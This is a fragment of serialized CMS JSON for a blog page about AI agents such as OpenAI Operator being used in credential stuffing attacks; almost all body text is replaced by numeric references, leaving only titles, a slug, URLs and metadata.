",{"id":71076,"publishedAt":71077},"3dndhjREJvJCbGRLseipak","2026-08-12T11:54:25.541Z",{"items":71079},[71080,71082],{"sys":71081,"name":6593},{"id":6592},{"sys":71083,"name":297},{"id":2732},{"items":71085},[71086,71088,71090,71092,71094,71096,71098,71100,71102,71104,71106,71108,71110],{"sys":71087,"name":279,"slug":280,"tier":31},{"id":276},{"sys":71089,"name":235,"slug":236,"tier":31},{"id":232},{"sys":71091,"name":413,"slug":414,"tier":31},{"id":410},{"sys":71093,"name":545,"slug":546,"tier":31},{"id":542},{"sys":71095,"name":642,"slug":643,"tier":31},{"id":639},{"sys":71097,"name":244,"slug":245,"tier":45},{"id":241},{"sys":71099,"name":333,"slug":334,"tier":45},{"id":330},{"sys":71101,"name":395,"slug":396,"tier":45},{"id":392},{"sys":71103,"name":404,"slug":405,"tier":45},{"id":401},{"sys":71105,"name":484,"slug":485,"tier":45},{"id":481},{"sys":71107,"name":607,"slug":608,"tier":45},{"id":604},{"sys":71109,"name":571,"slug":572,"tier":45},{"id":568},{"sys":71111,"name":502,"slug":503,"tier":45},{"id":499},"SzZF0hQl5WBLGWzyFpHl-7yLlPDRIzswNiBjGIJynv4",{"id":71114,"title":69226,"authorsCollection":71115,"content":71120,"extension":228,"faqItemsCollection":71650,"faqTitle":59,"featured":6,"hashTags":59,"meta":71652,"metaTitle":71653,"ogImage":59,"postType":5740,"publishedDate":69228,"relatedBlogPostsCollection":71654,"slug":69229,"stem":73879,"subtitle":59,"summary":73880,"synopsis":69227,"sys":73891,"tagsCollection":73893,"topicsCollection":73899,"__hash__":73925},"blog/blog/how-new-ai-agents-will-transform-credential-stuffing-attacks.json",{"items":71116},[71117],{"fullName":2736,"firstName":2737,"jobTitle":2738,"socialLinks":71118,"profilePicture":71119},[20565],{"url":2740},{"json":71121,"links":71635},{"data":71122,"content":71123,"nodeType":856},{},[71124,71131,71147,71173,71179,71182,71189,71195,71202,71208,71214,71220,71226,71233,71239,71262,71285,71291,71298,71304,71325,71331,71334,71341,71347,71354,71370,71400,71406,71416,71422,71429,71435,71441,71447,71453,71456,71463,71469,71490,71495,71498,71505,71518,71524,71527,71534,71540,71553,71559,71583,71586,71592,71608,71624,71629],{"data":71125,"content":71126,"nodeType":1009},{},[71127],{"data":71128,"marks":71129,"value":68644,"nodeType":864},{},[71130],{"type":899},{"data":71132,"content":71133,"nodeType":860},{},[71134,71137,71144],{"data":71135,"marks":71136,"value":21,"nodeType":864},{},[],{"data":71138,"content":71139,"nodeType":883},{"uri":8429},[71140],{"data":71141,"marks":71142,"value":68658,"nodeType":864},{},[71143],{"type":1455},{"data":71145,"marks":71146,"value":68662,"nodeType":864},{},[],{"data":71148,"content":71149,"nodeType":860},{},[71150,71153,71160,71163,71170],{"data":71151,"marks":71152,"value":68669,"nodeType":864},{},[],{"data":71154,"content":71155,"nodeType":883},{"uri":68672},[71156],{"data":71157,"marks":71158,"value":68678,"nodeType":864},{},[71159],{"type":1455},{"data":71161,"marks":71162,"value":68682,"nodeType":864},{},[],{"data":71164,"content":71165,"nodeType":883},{"uri":3751},[71166],{"data":71167,"marks":71168,"value":68690,"nodeType":864},{},[71169],{"type":1455},{"data":71171,"marks":71172,"value":68694,"nodeType":864},{},[],{"data":71174,"content":71175,"nodeType":860},{},[71176],{"data":71177,"marks":71178,"value":68701,"nodeType":864},{},[],{"data":71180,"content":71181,"nodeType":1005},{},[],{"data":71183,"content":71184,"nodeType":1009},{},[71185],{"data":71186,"marks":71187,"value":68712,"nodeType":864},{},[71188],{"type":899},{"data":71190,"content":71191,"nodeType":860},{},[71192],{"data":71193,"marks":71194,"value":68719,"nodeType":864},{},[],{"data":71196,"content":71197,"nodeType":1312},{},[71198],{"data":71199,"marks":71200,"value":68727,"nodeType":864},{},[71201],{"type":899},{"data":71203,"content":71204,"nodeType":860},{},[71205],{"data":71206,"marks":71207,"value":68734,"nodeType":864},{},[],{"data":71209,"content":71210,"nodeType":860},{},[71211],{"data":71212,"marks":71213,"value":68741,"nodeType":864},{},[],{"data":71215,"content":71216,"nodeType":860},{},[71217],{"data":71218,"marks":71219,"value":68748,"nodeType":864},{},[],{"data":71221,"content":71222,"nodeType":860},{},[71223],{"data":71224,"marks":71225,"value":68755,"nodeType":864},{},[],{"data":71227,"content":71228,"nodeType":1312},{},[71229],{"data":71230,"marks":71231,"value":68763,"nodeType":864},{},[71232],{"type":899},{"data":71234,"content":71235,"nodeType":860},{},[71236],{"data":71237,"marks":71238,"value":68770,"nodeType":864},{},[],{"data":71240,"content":71241,"nodeType":860},{},[71242,71245,71249,71252,71259],{"data":71243,"marks":71244,"value":68777,"nodeType":864},{},[],{"data":71246,"marks":71247,"value":68782,"nodeType":864},{},[71248],{"type":899},{"data":71250,"marks":71251,"value":68786,"nodeType":864},{},[],{"data":71253,"content":71254,"nodeType":883},{"uri":68789},[71255],{"data":71256,"marks":71257,"value":68795,"nodeType":864},{},[71258],{"type":1455},{"data":71260,"marks":71261,"value":68799,"nodeType":864},{},[],{"data":71263,"content":71264,"nodeType":860},{},[71265,71268,71275,71278,71282],{"data":71266,"marks":71267,"value":68806,"nodeType":864},{},[],{"data":71269,"content":71270,"nodeType":883},{"uri":68809},[71271],{"data":71272,"marks":71273,"value":68815,"nodeType":864},{},[71274],{"type":1455},{"data":71276,"marks":71277,"value":68819,"nodeType":864},{},[],{"data":71279,"marks":71280,"value":68824,"nodeType":864},{},[71281],{"type":899},{"data":71283,"marks":71284,"value":12978,"nodeType":864},{},[],{"data":71286,"content":71287,"nodeType":860},{},[71288],{"data":71289,"marks":71290,"value":68834,"nodeType":864},{},[],{"data":71292,"content":71293,"nodeType":1312},{},[71294],{"data":71295,"marks":71296,"value":68842,"nodeType":864},{},[71297],{"type":899},{"data":71299,"content":71300,"nodeType":860},{},[71301],{"data":71302,"marks":71303,"value":68849,"nodeType":864},{},[],{"data":71305,"content":71306,"nodeType":941},{},[71307,71316],{"data":71308,"content":71309,"nodeType":945},{},[71310],{"data":71311,"content":71312,"nodeType":860},{},[71313],{"data":71314,"marks":71315,"value":68862,"nodeType":864},{},[],{"data":71317,"content":71318,"nodeType":945},{},[71319],{"data":71320,"content":71321,"nodeType":860},{},[71322],{"data":71323,"marks":71324,"value":68872,"nodeType":864},{},[],{"data":71326,"content":71327,"nodeType":860},{},[71328],{"data":71329,"marks":71330,"value":68879,"nodeType":864},{},[],{"data":71332,"content":71333,"nodeType":1005},{},[],{"data":71335,"content":71336,"nodeType":1009},{},[71337],{"data":71338,"marks":71339,"value":68890,"nodeType":864},{},[71340],{"type":899},{"data":71342,"content":71343,"nodeType":860},{},[71344],{"data":71345,"marks":71346,"value":68897,"nodeType":864},{},[],{"data":71348,"content":71349,"nodeType":1312},{},[71350],{"data":71351,"marks":71352,"value":68905,"nodeType":864},{},[71353],{"type":899},{"data":71355,"content":71356,"nodeType":860},{},[71357,71360,71367],{"data":71358,"marks":71359,"value":68912,"nodeType":864},{},[],{"data":71361,"content":71362,"nodeType":883},{"uri":13714},[71363],{"data":71364,"marks":71365,"value":68920,"nodeType":864},{},[71366],{"type":1455},{"data":71368,"marks":71369,"value":68924,"nodeType":864},{},[],{"data":71371,"content":71372,"nodeType":941},{},[71373,71382,71391],{"data":71374,"content":71375,"nodeType":945},{},[71376],{"data":71377,"content":71378,"nodeType":860},{},[71379],{"data":71380,"marks":71381,"value":68937,"nodeType":864},{},[],{"data":71383,"content":71384,"nodeType":945},{},[71385],{"data":71386,"content":71387,"nodeType":860},{},[71388],{"data":71389,"marks":71390,"value":68947,"nodeType":864},{},[],{"data":71392,"content":71393,"nodeType":945},{},[71394],{"data":71395,"content":71396,"nodeType":860},{},[71397],{"data":71398,"marks":71399,"value":68957,"nodeType":864},{},[],{"data":71401,"content":71402,"nodeType":860},{},[71403],{"data":71404,"marks":71405,"value":68964,"nodeType":864},{},[],{"data":71407,"content":71408,"nodeType":860},{},[71409,71413],{"data":71410,"marks":71411,"value":68972,"nodeType":864},{},[71412],{"type":899},{"data":71414,"marks":71415,"value":68976,"nodeType":864},{},[],{"data":71417,"content":71418,"nodeType":860},{},[71419],{"data":71420,"marks":71421,"value":68983,"nodeType":864},{},[],{"data":71423,"content":71424,"nodeType":1312},{},[71425],{"data":71426,"marks":71427,"value":68991,"nodeType":864},{},[71428],{"type":899},{"data":71430,"content":71431,"nodeType":860},{},[71432],{"data":71433,"marks":71434,"value":68998,"nodeType":864},{},[],{"data":71436,"content":71437,"nodeType":860},{},[71438],{"data":71439,"marks":71440,"value":69005,"nodeType":864},{},[],{"data":71442,"content":71443,"nodeType":860},{},[71444],{"data":71445,"marks":71446,"value":69012,"nodeType":864},{},[],{"data":71448,"content":71449,"nodeType":860},{},[71450],{"data":71451,"marks":71452,"value":69019,"nodeType":864},{},[],{"data":71454,"content":71455,"nodeType":1005},{},[],{"data":71457,"content":71458,"nodeType":1009},{},[71459],{"data":71460,"marks":71461,"value":69030,"nodeType":864},{},[71462],{"type":899},{"data":71464,"content":71465,"nodeType":860},{},[71466],{"data":71467,"marks":71468,"value":69037,"nodeType":864},{},[],{"data":71470,"content":71471,"nodeType":941},{},[71472,71481],{"data":71473,"content":71474,"nodeType":945},{},[71475],{"data":71476,"content":71477,"nodeType":860},{},[71478],{"data":71479,"marks":71480,"value":69050,"nodeType":864},{},[],{"data":71482,"content":71483,"nodeType":945},{},[71484],{"data":71485,"content":71486,"nodeType":860},{},[71487],{"data":71488,"marks":71489,"value":69060,"nodeType":864},{},[],{"data":71491,"content":71494,"nodeType":996},{"target":71492},{"sys":71493},{"id":69065,"type":1001,"linkType":1002},[],{"data":71496,"content":71497,"nodeType":1005},{},[],{"data":71499,"content":71500,"nodeType":1009},{},[71501],{"data":71502,"marks":71503,"value":69077,"nodeType":864},{},[71504],{"type":899},{"data":71506,"content":71507,"nodeType":860},{},[71508,71511,71515],{"data":71509,"marks":71510,"value":69084,"nodeType":864},{},[],{"data":71512,"marks":71513,"value":69089,"nodeType":864},{},[71514],{"type":899},{"data":71516,"marks":71517,"value":69093,"nodeType":864},{},[],{"data":71519,"content":71520,"nodeType":860},{},[71521],{"data":71522,"marks":71523,"value":69100,"nodeType":864},{},[],{"data":71525,"content":71526,"nodeType":1005},{},[],{"data":71528,"content":71529,"nodeType":1009},{},[71530],{"data":71531,"marks":71532,"value":69111,"nodeType":864},{},[71533],{"type":899},{"data":71535,"content":71536,"nodeType":860},{},[71537],{"data":71538,"marks":71539,"value":69118,"nodeType":864},{},[],{"data":71541,"content":71542,"nodeType":860},{},[71543,71546,71550],{"data":71544,"marks":71545,"value":69125,"nodeType":864},{},[],{"data":71547,"marks":71548,"value":69130,"nodeType":864},{},[71549],{"type":2246},{"data":71551,"marks":71552,"value":69134,"nodeType":864},{},[],{"data":71554,"content":71555,"nodeType":860},{},[71556],{"data":71557,"marks":71558,"value":69141,"nodeType":864},{},[],{"data":71560,"content":71561,"nodeType":860},{},[71562,71565,71571,71574,71580],{"data":71563,"marks":71564,"value":69148,"nodeType":864},{},[],{"data":71566,"content":71567,"nodeType":883},{"uri":68809},[71568],{"data":71569,"marks":71570,"value":69155,"nodeType":864},{},[],{"data":71572,"marks":71573,"value":2232,"nodeType":864},{},[],{"data":71575,"content":71576,"nodeType":883},{"uri":69161},[71577],{"data":71578,"marks":71579,"value":69166,"nodeType":864},{},[],{"data":71581,"marks":71582,"value":69170,"nodeType":864},{},[],{"data":71584,"content":71585,"nodeType":1005},{},[],{"data":71587,"content":71588,"nodeType":1009},{},[71589],{"data":71590,"marks":71591,"value":13350,"nodeType":864},{},[],{"data":71593,"content":71594,"nodeType":860},{},[71595,71598,71605],{"data":71596,"marks":71597,"value":69186,"nodeType":864},{},[],{"data":71599,"content":71600,"nodeType":883},{"uri":1700},[71601],{"data":71602,"marks":71603,"value":18241,"nodeType":864},{},[71604],{"type":1455},{"data":71606,"marks":71607,"value":2924,"nodeType":864},{},[],{"data":71609,"content":71610,"nodeType":860},{},[71611,71614,71621],{"data":71612,"marks":71613,"value":69203,"nodeType":864},{},[],{"data":71615,"content":71616,"nodeType":883},{"uri":68536},[71617],{"data":71618,"marks":71619,"value":69211,"nodeType":864},{},[71620],{"type":1455},{"data":71622,"marks":71623,"value":21,"nodeType":864},{},[],{"data":71625,"content":71628,"nodeType":996},{"target":71626},{"sys":71627},{"id":68089,"type":1001,"linkType":1002},[],{"data":71630,"content":71631,"nodeType":860},{},[71632],{"data":71633,"marks":71634,"value":21,"nodeType":864},{},[],{"entries":71636},{"hyperlink":71637,"inline":71638,"block":71639},[],[],[71640,71648],{"sys":71641,"__typename":71642,"title":71643,"youTubeUrl":71644,"imagePlaceholder":71645},{"id":69065},"ExternalVideo","Using Operator to conduct credential stuffing attacks at scale","https://www.youtube.com/watch?v=a_YJafxPjMo",{"url":71646,"width":24318,"height":71647},"https://images.ctfassets.net/y1cdw1ablpvd/47KUHgOYv3FHVkGUbwA3Ly/ab5d478e6b5b1fff84248a05b6d3ccaf/Operator_clip_thumbnail__3_.jpg",1080,{"sys":71649,"__typename":1717,"type":1718,"ctaText":68533,"buttonLabel":68534,"buttonColour":68535,"buttonUrl":68536},{"id":68089},{"items":71651},[],{},"Using OpenAI Operator to automate credential stuffing",{"items":71655},[71656,72204,73219],{"__typename":2059,"sys":71657,"content":71658,"title":69860,"synopsis":69861,"hashTags":59,"publishedDate":69862,"slug":69863,"tagsCollection":72194,"authorsCollection":72200},{"id":69242},{"json":71659},{"data":71660,"content":71661,"nodeType":856},{},[71662,71668,71681,71687,71692,71698,71704,71707,71713,71719,71725,71745,71751,71764,71767,71773,71779,71800,71806,71812,71828,71833,71839,71855,71860,71866,71906,71913,71919,71929,71939,71945,71971,71977,71980,71986,72002,72008,72014,72020,72023,72029,72036,72042,72048,72108,72114,72120,72126,72156,72162,72168,72174,72179],{"data":71663,"content":71664,"nodeType":860},{},[71665],{"data":71666,"marks":71667,"value":69253,"nodeType":864},{},[],{"data":71669,"content":71670,"nodeType":860},{},[71671,71674,71678],{"data":71672,"marks":71673,"value":69260,"nodeType":864},{},[],{"data":71675,"marks":71676,"value":69265,"nodeType":864},{},[71677],{"type":899},{"data":71679,"marks":71680,"value":69269,"nodeType":864},{},[],{"data":71682,"content":71683,"nodeType":860},{},[71684],{"data":71685,"marks":71686,"value":69276,"nodeType":864},{},[],{"data":71688,"content":71691,"nodeType":996},{"target":71689},{"sys":71690},{"id":69281,"type":1001,"linkType":1002},[],{"data":71693,"content":71694,"nodeType":860},{},[71695],{"data":71696,"marks":71697,"value":69289,"nodeType":864},{},[],{"data":71699,"content":71700,"nodeType":860},{},[71701],{"data":71702,"marks":71703,"value":69296,"nodeType":864},{},[],{"data":71705,"content":71706,"nodeType":1005},{},[],{"data":71708,"content":71709,"nodeType":1009},{},[71710],{"data":71711,"marks":71712,"value":69306,"nodeType":864},{},[],{"data":71714,"content":71715,"nodeType":860},{},[71716],{"data":71717,"marks":71718,"value":69313,"nodeType":864},{},[],{"data":71720,"content":71721,"nodeType":860},{},[71722],{"data":71723,"marks":71724,"value":69320,"nodeType":864},{},[],{"data":71726,"content":71727,"nodeType":860},{},[71728,71731,71735,71738,71742],{"data":71729,"marks":71730,"value":69327,"nodeType":864},{},[],{"data":71732,"marks":71733,"value":69332,"nodeType":864},{},[71734],{"type":899},{"data":71736,"marks":71737,"value":1171,"nodeType":864},{},[],{"data":71739,"marks":71740,"value":69340,"nodeType":864},{},[71741],{"type":899},{"data":71743,"marks":71744,"value":12978,"nodeType":864},{},[],{"data":71746,"content":71747,"nodeType":860},{},[71748],{"data":71749,"marks":71750,"value":69350,"nodeType":864},{},[],{"data":71752,"content":71753,"nodeType":860},{},[71754,71757,71761],{"data":71755,"marks":71756,"value":69357,"nodeType":864},{},[],{"data":71758,"marks":71759,"value":69362,"nodeType":864},{},[71760],{"type":899},{"data":71762,"marks":71763,"value":69366,"nodeType":864},{},[],{"data":71765,"content":71766,"nodeType":1005},{},[],{"data":71768,"content":71769,"nodeType":1009},{},[71770],{"data":71771,"marks":71772,"value":69376,"nodeType":864},{},[],{"data":71774,"content":71775,"nodeType":860},{},[71776],{"data":71777,"marks":71778,"value":69383,"nodeType":864},{},[],{"data":71780,"content":71781,"nodeType":941},{},[71782,71791],{"data":71783,"content":71784,"nodeType":945},{},[71785],{"data":71786,"content":71787,"nodeType":860},{},[71788],{"data":71789,"marks":71790,"value":69396,"nodeType":864},{},[],{"data":71792,"content":71793,"nodeType":945},{},[71794],{"data":71795,"content":71796,"nodeType":860},{},[71797],{"data":71798,"marks":71799,"value":69406,"nodeType":864},{},[],{"data":71801,"content":71802,"nodeType":860},{},[71803],{"data":71804,"marks":71805,"value":69413,"nodeType":864},{},[],{"data":71807,"content":71808,"nodeType":1312},{},[71809],{"data":71810,"marks":71811,"value":69420,"nodeType":864},{},[],{"data":71813,"content":71814,"nodeType":860},{},[71815,71818,71825],{"data":71816,"marks":71817,"value":69427,"nodeType":864},{},[],{"data":71819,"content":71820,"nodeType":883},{"uri":13714},[71821],{"data":71822,"marks":71823,"value":69435,"nodeType":864},{},[71824],{"type":1455},{"data":71826,"marks":71827,"value":25428,"nodeType":864},{},[],{"data":71829,"content":71832,"nodeType":996},{"target":71830},{"sys":71831},{"id":69443,"type":1001,"linkType":1002},[],{"data":71834,"content":71835,"nodeType":860},{},[71836],{"data":71837,"marks":71838,"value":69451,"nodeType":864},{},[],{"data":71840,"content":71841,"nodeType":860},{},[71842,71845,71852],{"data":71843,"marks":71844,"value":69458,"nodeType":864},{},[],{"data":71846,"content":71847,"nodeType":883},{"uri":3751},[71848],{"data":71849,"marks":71850,"value":69466,"nodeType":864},{},[71851],{"type":1455},{"data":71853,"marks":71854,"value":69470,"nodeType":864},{},[],{"data":71856,"content":71859,"nodeType":996},{"target":71857},{"sys":71858},{"id":69475,"type":1001,"linkType":1002},[],{"data":71861,"content":71862,"nodeType":860},{},[71863],{"data":71864,"marks":71865,"value":69483,"nodeType":864},{},[],{"data":71867,"content":71868,"nodeType":941},{},[71869,71878,71887],{"data":71870,"content":71871,"nodeType":945},{},[71872],{"data":71873,"content":71874,"nodeType":860},{},[71875],{"data":71876,"marks":71877,"value":69496,"nodeType":864},{},[],{"data":71879,"content":71880,"nodeType":945},{},[71881],{"data":71882,"content":71883,"nodeType":860},{},[71884],{"data":71885,"marks":71886,"value":69506,"nodeType":864},{},[],{"data":71888,"content":71889,"nodeType":945},{},[71890],{"data":71891,"content":71892,"nodeType":860},{},[71893,71896,71903],{"data":71894,"marks":71895,"value":69516,"nodeType":864},{},[],{"data":71897,"content":71898,"nodeType":883},{"uri":69519},[71899],{"data":71900,"marks":71901,"value":69525,"nodeType":864},{},[71902],{"type":1455},{"data":71904,"marks":71905,"value":69529,"nodeType":864},{},[],{"data":71907,"content":71908,"nodeType":860},{},[71909],{"data":71910,"marks":71911,"value":69537,"nodeType":864},{},[71912],{"type":899},{"data":71914,"content":71915,"nodeType":860},{},[71916],{"data":71917,"marks":71918,"value":69544,"nodeType":864},{},[],{"data":71920,"content":71921,"nodeType":860},{},[71922,71926],{"data":71923,"marks":71924,"value":69552,"nodeType":864},{},[71925],{"type":899},{"data":71927,"marks":71928,"value":69556,"nodeType":864},{},[],{"data":71930,"content":71931,"nodeType":860},{},[71932,71936],{"data":71933,"marks":71934,"value":69564,"nodeType":864},{},[71935],{"type":899},{"data":71937,"marks":71938,"value":69568,"nodeType":864},{},[],{"data":71940,"content":71941,"nodeType":1312},{},[71942],{"data":71943,"marks":71944,"value":69575,"nodeType":864},{},[],{"data":71946,"content":71947,"nodeType":860},{},[71948,71951,71958,71961,71968],{"data":71949,"marks":71950,"value":69582,"nodeType":864},{},[],{"data":71952,"content":71953,"nodeType":883},{"uri":69585},[71954],{"data":71955,"marks":71956,"value":69591,"nodeType":864},{},[71957],{"type":1455},{"data":71959,"marks":71960,"value":69595,"nodeType":864},{},[],{"data":71962,"content":71963,"nodeType":883},{"uri":69598},[71964],{"data":71965,"marks":71966,"value":69604,"nodeType":864},{},[71967],{"type":1455},{"data":71969,"marks":71970,"value":69608,"nodeType":864},{},[],{"data":71972,"content":71973,"nodeType":860},{},[71974],{"data":71975,"marks":71976,"value":69615,"nodeType":864},{},[],{"data":71978,"content":71979,"nodeType":1005},{},[],{"data":71981,"content":71982,"nodeType":1009},{},[71983],{"data":71984,"marks":71985,"value":69625,"nodeType":864},{},[],{"data":71987,"content":71988,"nodeType":860},{},[71989,71992,71999],{"data":71990,"marks":71991,"value":69632,"nodeType":864},{},[],{"data":71993,"content":71994,"nodeType":883},{"uri":69635},[71995],{"data":71996,"marks":71997,"value":69641,"nodeType":864},{},[71998],{"type":1455},{"data":72000,"marks":72001,"value":69645,"nodeType":864},{},[],{"data":72003,"content":72004,"nodeType":860},{},[72005],{"data":72006,"marks":72007,"value":69652,"nodeType":864},{},[],{"data":72009,"content":72010,"nodeType":860},{},[72011],{"data":72012,"marks":72013,"value":69659,"nodeType":864},{},[],{"data":72015,"content":72016,"nodeType":860},{},[72017],{"data":72018,"marks":72019,"value":69666,"nodeType":864},{},[],{"data":72021,"content":72022,"nodeType":1005},{},[],{"data":72024,"content":72025,"nodeType":1009},{},[72026],{"data":72027,"marks":72028,"value":69676,"nodeType":864},{},[],{"data":72030,"content":72031,"nodeType":860},{},[72032],{"data":72033,"marks":72034,"value":69684,"nodeType":864},{},[72035],{"type":899},{"data":72037,"content":72038,"nodeType":860},{},[72039],{"data":72040,"marks":72041,"value":69691,"nodeType":864},{},[],{"data":72043,"content":72044,"nodeType":860},{},[72045],{"data":72046,"marks":72047,"value":69698,"nodeType":864},{},[],{"data":72049,"content":72050,"nodeType":941},{},[72051,72070,72089],{"data":72052,"content":72053,"nodeType":945},{},[72054],{"data":72055,"content":72056,"nodeType":860},{},[72057,72060,72067],{"data":72058,"marks":72059,"value":21,"nodeType":864},{},[],{"data":72061,"content":72062,"nodeType":883},{"uri":69713},[72063],{"data":72064,"marks":72065,"value":69713,"nodeType":864},{},[72066],{"type":1455},{"data":72068,"marks":72069,"value":12978,"nodeType":864},{},[],{"data":72071,"content":72072,"nodeType":945},{},[72073],{"data":72074,"content":72075,"nodeType":860},{},[72076,72079,72086],{"data":72077,"marks":72078,"value":21,"nodeType":864},{},[],{"data":72080,"content":72081,"nodeType":883},{"uri":69733},[72082],{"data":72083,"marks":72084,"value":69733,"nodeType":864},{},[72085],{"type":1455},{"data":72087,"marks":72088,"value":21,"nodeType":864},{},[],{"data":72090,"content":72091,"nodeType":945},{},[72092],{"data":72093,"content":72094,"nodeType":860},{},[72095,72098,72105],{"data":72096,"marks":72097,"value":21,"nodeType":864},{},[],{"data":72099,"content":72100,"nodeType":883},{"uri":69753},[72101],{"data":72102,"marks":72103,"value":69753,"nodeType":864},{},[72104],{"type":1455},{"data":72106,"marks":72107,"value":2924,"nodeType":864},{},[],{"data":72109,"content":72110,"nodeType":860},{},[72111],{"data":72112,"marks":72113,"value":69768,"nodeType":864},{},[],{"data":72115,"content":72116,"nodeType":1312},{},[72117],{"data":72118,"marks":72119,"value":69775,"nodeType":864},{},[],{"data":72121,"content":72122,"nodeType":860},{},[72123],{"data":72124,"marks":72125,"value":69782,"nodeType":864},{},[],{"data":72127,"content":72128,"nodeType":941},{},[72129,72138,72147],{"data":72130,"content":72131,"nodeType":945},{},[72132],{"data":72133,"content":72134,"nodeType":860},{},[72135],{"data":72136,"marks":72137,"value":69795,"nodeType":864},{},[],{"data":72139,"content":72140,"nodeType":945},{},[72141],{"data":72142,"content":72143,"nodeType":860},{},[72144],{"data":72145,"marks":72146,"value":69805,"nodeType":864},{},[],{"data":72148,"content":72149,"nodeType":945},{},[72150],{"data":72151,"content":72152,"nodeType":860},{},[72153],{"data":72154,"marks":72155,"value":69815,"nodeType":864},{},[],{"data":72157,"content":72158,"nodeType":1312},{},[72159],{"data":72160,"marks":72161,"value":13350,"nodeType":864},{},[],{"data":72163,"content":72164,"nodeType":860},{},[72165],{"data":72166,"marks":72167,"value":69828,"nodeType":864},{},[],{"data":72169,"content":72170,"nodeType":860},{},[72171],{"data":72172,"marks":72173,"value":69835,"nodeType":864},{},[],{"data":72175,"content":72178,"nodeType":996},{"target":72176},{"sys":72177},{"id":69840,"type":1001,"linkType":1002},[],{"data":72180,"content":72181,"nodeType":860},{},[72182,72185,72191],{"data":72183,"marks":72184,"value":69848,"nodeType":864},{},[],{"data":72186,"content":72187,"nodeType":883},{"uri":5642},[72188],{"data":72189,"marks":72190,"value":69855,"nodeType":864},{},[],{"data":72192,"marks":72193,"value":69859,"nodeType":864},{},[],{"items":72195},[72196,72198],{"sys":72197,"name":6593},{"id":6592},{"sys":72199,"name":297},{"id":2732},{"items":72201},[72202],{"fullName":26106,"firstName":26107,"jobTitle":26108,"profilePicture":72203},{"url":26110},{"__typename":2059,"sys":72205,"content":72206,"title":71047,"synopsis":71048,"hashTags":59,"publishedDate":71049,"slug":71050,"tagsCollection":73209,"authorsCollection":73215},{"id":69876},{"json":72207},{"data":72208,"content":72209,"nodeType":856},{},[72210,72216,72263,72269,72272,72278,72284,72310,72320,72323,72329,72339,72345,72361,72366,72382,72388,72398,72415,72431,72437,72453,72458,72474,72477,72483,72490,72496,72512,72528,72534,72550,72556,72563,72584,72590,72606,72623,72628,72634,72650,72653,72659,72675,72691,72697,72745,72751,72754,72760,72767,72783,72799,72805,72812,72818,72835,72841,72847,72852,72857,72860,72866,72873,72879,72895,72904,72920,72926,72932,72941,72948,72954,72971,72976,72979,72985,72991,72997,73058,73064,73070,73076,73083,73100,73106,73111,73121,73138,73144,73151,73168,73174,73180,73185,73188,73194],{"data":72211,"content":72212,"nodeType":860},{},[72213],{"data":72214,"marks":72215,"value":69887,"nodeType":864},{},[],{"data":72217,"content":72218,"nodeType":941},{},[72219,72235,72244],{"data":72220,"content":72221,"nodeType":945},{},[72222],{"data":72223,"content":72224,"nodeType":860},{},[72225,72228,72232],{"data":72226,"marks":72227,"value":69900,"nodeType":864},{},[],{"data":72229,"marks":72230,"value":69905,"nodeType":864},{},[72231],{"type":2246},{"data":72233,"marks":72234,"value":69909,"nodeType":864},{},[],{"data":72236,"content":72237,"nodeType":945},{},[72238],{"data":72239,"content":72240,"nodeType":860},{},[72241],{"data":72242,"marks":72243,"value":69919,"nodeType":864},{},[],{"data":72245,"content":72246,"nodeType":945},{},[72247],{"data":72248,"content":72249,"nodeType":860},{},[72250,72253,72260],{"data":72251,"marks":72252,"value":69929,"nodeType":864},{},[],{"data":72254,"content":72255,"nodeType":883},{"uri":69932},[72256],{"data":72257,"marks":72258,"value":69938,"nodeType":864},{},[72259],{"type":1455},{"data":72261,"marks":72262,"value":69942,"nodeType":864},{},[],{"data":72264,"content":72265,"nodeType":860},{},[72266],{"data":72267,"marks":72268,"value":69949,"nodeType":864},{},[],{"data":72270,"content":72271,"nodeType":1005},{},[],{"data":72273,"content":72274,"nodeType":1009},{},[72275],{"data":72276,"marks":72277,"value":69959,"nodeType":864},{},[],{"data":72279,"content":72280,"nodeType":860},{},[72281],{"data":72282,"marks":72283,"value":69966,"nodeType":864},{},[],{"data":72285,"content":72286,"nodeType":860},{},[72287,72290,72297,72300,72307],{"data":72288,"marks":72289,"value":69973,"nodeType":864},{},[],{"data":72291,"content":72292,"nodeType":883},{"uri":69976},[72293],{"data":72294,"marks":72295,"value":69982,"nodeType":864},{},[72296],{"type":1455},{"data":72298,"marks":72299,"value":69986,"nodeType":864},{},[],{"data":72301,"content":72302,"nodeType":883},{"uri":69989},[72303],{"data":72304,"marks":72305,"value":69995,"nodeType":864},{},[72306],{"type":1455},{"data":72308,"marks":72309,"value":69999,"nodeType":864},{},[],{"data":72311,"content":72312,"nodeType":860},{},[72313,72316],{"data":72314,"marks":72315,"value":70006,"nodeType":864},{},[],{"data":72317,"marks":72318,"value":70011,"nodeType":864},{},[72319],{"type":899},{"data":72321,"content":72322,"nodeType":1005},{},[],{"data":72324,"content":72325,"nodeType":1009},{},[72326],{"data":72327,"marks":72328,"value":70021,"nodeType":864},{},[],{"data":72330,"content":72331,"nodeType":1312},{},[72332,72336],{"data":72333,"marks":72334,"value":70029,"nodeType":864},{},[72335],{"type":899},{"data":72337,"marks":72338,"value":1171,"nodeType":864},{},[],{"data":72340,"content":72341,"nodeType":860},{},[72342],{"data":72343,"marks":72344,"value":70039,"nodeType":864},{},[],{"data":72346,"content":72347,"nodeType":860},{},[72348,72351,72358],{"data":72349,"marks":72350,"value":70046,"nodeType":864},{},[],{"data":72352,"content":72353,"nodeType":883},{"uri":66091},[72354],{"data":72355,"marks":72356,"value":70054,"nodeType":864},{},[72357],{"type":1455},{"data":72359,"marks":72360,"value":70058,"nodeType":864},{},[],{"data":72362,"content":72365,"nodeType":996},{"target":72363},{"sys":72364},{"id":70063,"type":1001,"linkType":1002},[],{"data":72367,"content":72368,"nodeType":860},{},[72369,72372,72379],{"data":72370,"marks":72371,"value":70071,"nodeType":864},{},[],{"data":72373,"content":72374,"nodeType":883},{"uri":70074},[72375],{"data":72376,"marks":72377,"value":70080,"nodeType":864},{},[72378],{"type":1455},{"data":72380,"marks":72381,"value":70084,"nodeType":864},{},[],{"data":72383,"content":72384,"nodeType":860},{},[72385],{"data":72386,"marks":72387,"value":70091,"nodeType":864},{},[],{"data":72389,"content":72390,"nodeType":1312},{},[72391,72395],{"data":72392,"marks":72393,"value":70099,"nodeType":864},{},[72394],{"type":899},{"data":72396,"marks":72397,"value":1171,"nodeType":864},{},[],{"data":72399,"content":72400,"nodeType":860},{},[72401,72404,72412],{"data":72402,"marks":72403,"value":70109,"nodeType":864},{},[],{"data":72405,"content":72406,"nodeType":883},{"uri":65140},[72407],{"data":72408,"marks":72409,"value":70118,"nodeType":864},{},[72410,72411],{"type":1455},{